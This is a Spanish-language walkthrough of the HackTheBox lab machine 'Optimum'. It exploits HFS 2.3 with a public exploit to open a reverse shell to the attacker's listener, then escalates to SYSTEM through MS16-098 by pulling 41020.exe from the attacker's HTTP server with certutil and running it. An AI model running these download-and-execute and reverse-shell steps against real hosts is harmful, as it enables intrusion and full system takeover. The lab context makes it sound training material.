HTB Optimum
¡Hola!
En esta ocasión vamos a resolver de la máquina optimum
de HackTheBox.
La máquina es nivel “Easy”, sin embargo, el nivel siempre se lo pones tú, al enfrentar estos retos, ¡vamos a ponernos hack!
PREPARACIÓN
Para iniciar nuestra máquina, vamos a crear con nuestra función mkhack un directorio de trabajo con el nombre optimum
y los subdirectorios recon
junto con exploit
, con el objetivo de organizar la información que recopilemos en la realización de la máquina.
mkhack optimum
cd !$/recon
RECONOCIMIENTO
Accedemos al directorio recon
e iniciamos nuestra fase de reconocimiento sobre el objetivo por medio de nuestra utilidad osping detectando el tipo de sistema operativo basado en el ttl
time to live de una traza ICMP.
osping 10.10.10.8
[*] Detectando sistema operativo ...
[+] 10.10.10.8 ttl=127 >> Windows
Identificamos que es una maquina Windows debido a su ttl (time to live) correspondiente a 127 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).
- TTL => 64 Linux
- TTL => 128 Windows
Continuamos con la enumeración de los 65535 puertos en la máquina.
sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.10.8 -oG ports | grep open
80/tcp open http
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar en nuestro objetivo.
nmap -p80 -sCV 10.10.10.8 -oN versions
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
|_http-title: HFS /
|_http-server-header: HFS 2.3
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
RECONOCIMIENTO WEB
Iniciamos con el reconocimiento del servicio web
donde inicialmente, por medio de la utilidad whatweb
enumeramos información de librerías, gestores de contenido, entre otros.
whatweb 10.10.10.8
http://10.10.10.8 [200 OK] Cookies[HFS_SID], Country[RESERVED][ZZ], HTTPServer[HFS 2.3], HttpFileServer, IP[10.10.10.8], JQuery[1.4.4], Script[text/javascript], Title[HFS /]
INTRUSION
Hacemos uso de searchsploit
buscando potenciales maneras de intrusión por medio de la explotación de HFS 2.3
.
searchsploit HFS 2.3
------------------------------------------------------------------------------------------------------------------------------------ -------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------ -------------------------------
HFS (HTTP File Server) 2.3.x - Remote Command Execution (3) | windows/remote/49584.py
HFS Http File Server 2.3m Build 300 - Buffer Overflow (PoC) | multiple/remote/48569.py
Rejetto HTTP File Server (HFS) 2.2/2.3 - Arbitrary File Upload | multiple/remote/30850.txt
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (1) | windows/remote/34668.txt
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2) | windows/remote/39161.py
Rejetto HTTP File Server (HFS) 2.3a/2.3b/2.3c - Remote Command Execution | windows/webapps/34852.txt
------------------------------------------------------------------------------------------------------------------------------------ -------------------------------
Vamos a ubicarnos en la carpeta exploit
y a descargar el exploit windows/remote/39161.py
.
cd ../exploit
searchsploit -m windows/remote/39161.py
Luego de revisar el exploit, debemos modificar las líneas 35 y 36, ingresando la IP de nuestra máquina y el puerto por el cual vamos a estar por escucha a través de la utilidad nc
.
vim 39161.py
#MODIFICAR LINEA 35 Y 36
ip_addr = "10.10.14.2" #local IP address
local_port = "4564" # Local Port number
Para que el exploit funcione debemos copiar la utilidad nc.exe
en la carpeta exploit
.
locate nc.exe
cp /usr/share/sqlninja/apps/nc.exe .
Activamos un servidor local http
con python
por el puerto 80
, para que el exploit pueda consultar y cargar el nc.exe
que copiamos anteriormente.
sudo python3 -m http.server 80
Generamos un listener con rlwrap
para tener mayor estabilidad en la shell que vamos a obtener.
rlwrap nc -lvnp 4564
Procedemos a ejecutar el exploit junto con la IP víctima y el puerto.
python 39161.py 10.10.10.8 80
NOTA: El exploit se debe ejecutar dos veces, la primera para cargar el binario nc.exe
y la segunda para entablar una reverse shell
ESCALADA DE PRIVILEGIOS
Ahora que nos encontramos dentro de la máquina víctima, vamos a realizar un método mínimamente ruidoso para la explotación de vulnerabilidades con exploits públicos, por lo que vamos a hacer uso de la utilidad Windows-Exploit-Suggester del github de AonCyberLabs.
wget https://raw.githubusercontent.com/AonCyberLabs/Windows-Exploit-Suggester/master/windows-exploit-suggester.py
Vamos a actualizar la base de vulnerabilidades con el parámetro -u
python2 windows-exploit-suggester.py -u
Luego de obtener nuestra base de vulnerabilidades al día, vamos a ejecutar el comando systeminfo
en la máquina víctima y copiamos el output en un archivo de nuestra máquina denominado systeminfo.txt
vim systeminfo.txt
Debido a que el exploit se encuentra en python2
, procedemos a generar un entorno virtualizado por medio de la utilidad virtualenv
y activarlo por medio source
.
virtualenv -p python2 privesc; source privesc/bin/activate
Para que el exploit funcione correctamente, vamos a desinstalar la versión actual de xlrd
y realizamos la instalación de xlrd==1.2.0
, todo por medio de pip2
pip2 uninstall xlrd; pip2 install xlrd==1.2.0
Ahora que ya tenemos todos los requisitos, podemos ejecutar el script asignando la base de vulnerabilidades actualizada anteriormente con el parámetro -d
y la información extraída del systeminfo
ejecutada en la máquina víctima.
python2 windows-exploit-suggester.py -d 2022-08-04-mssb.xls -i systeminfo.txt
En el output del exploit, nos muestra las vulnerabilidades que pueden ser potencialmente explotadas, según la información suministrada en la enumeración de la máquina víctima, en este caso nos centramos en la vulnerabilidad MS16-098
.
[E] MS16-098: Security Update for Windows Kernel-Mode Drivers (3178466) - Important
[*] https://www.exploit-db.com/exploits/41020/ -- Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098)
ESCALADA POR MS16-098
Descargamos el binario 41020.exe de Offensive Security que nos va a permitir tener acceso a un usuario con permisos de administración en la máquina víctima.
wget https://github.com/offensive-security/exploitdb-bin-sploits/blob/master/bin-sploits/41020.exe
Generamos un servicio http
con python
por el puerto 80
para cargar el binario a la máquina víctima.
sudo python3 -m http.server 80
En la máquina objetivo accedemos a la carpeta C:\Windows/Temp
y creamos una nueva carpeta denominada priv
.
cd C:\Windows\Temp
mkdir priv
cd priv
Ahora con certutil.exe
realizamos la carga del binario y le asignamos el nombre exploit.exe
certutil.exe -f -urlcache -split http://10.10.14.2/41020.exe exploit.exe
Finalmente ejecutamos el exploit y obtenemos acceso a el usuario nt authority/system
exploit.exe
whoami
nt authority/system
¡Listo! Logramos una shell con un usuario administrador.
FLAGS
Lo único que nos queda es leer las banderas de user y root. Pueden ver la flag con type
, pero para hacerlo más retador solo dejaré los primeros 10 caracteres de la flag.
cd C:\
dir /b/s user.txt*
C:\Users\kostas\Desktop\user.txt.txt
set /P user=<"C:\Users\kostas\Desktop\user.txt.txt"
echo.%user:~1,10%
0c39409d7b
dir /b/s root.txt
C:\Users\Administrator\Desktop\root.txt
set /P root=<"C:\Users\Administrator\Desktop\root.txt"
echo.%root:~1,10%
1ed1b36553
¡Hemos logrado completar la máquina optimum
de HackTheBox!
¡Que tengan un buen día en el planeta donde se encuentren!
Nos vemos en otro bit.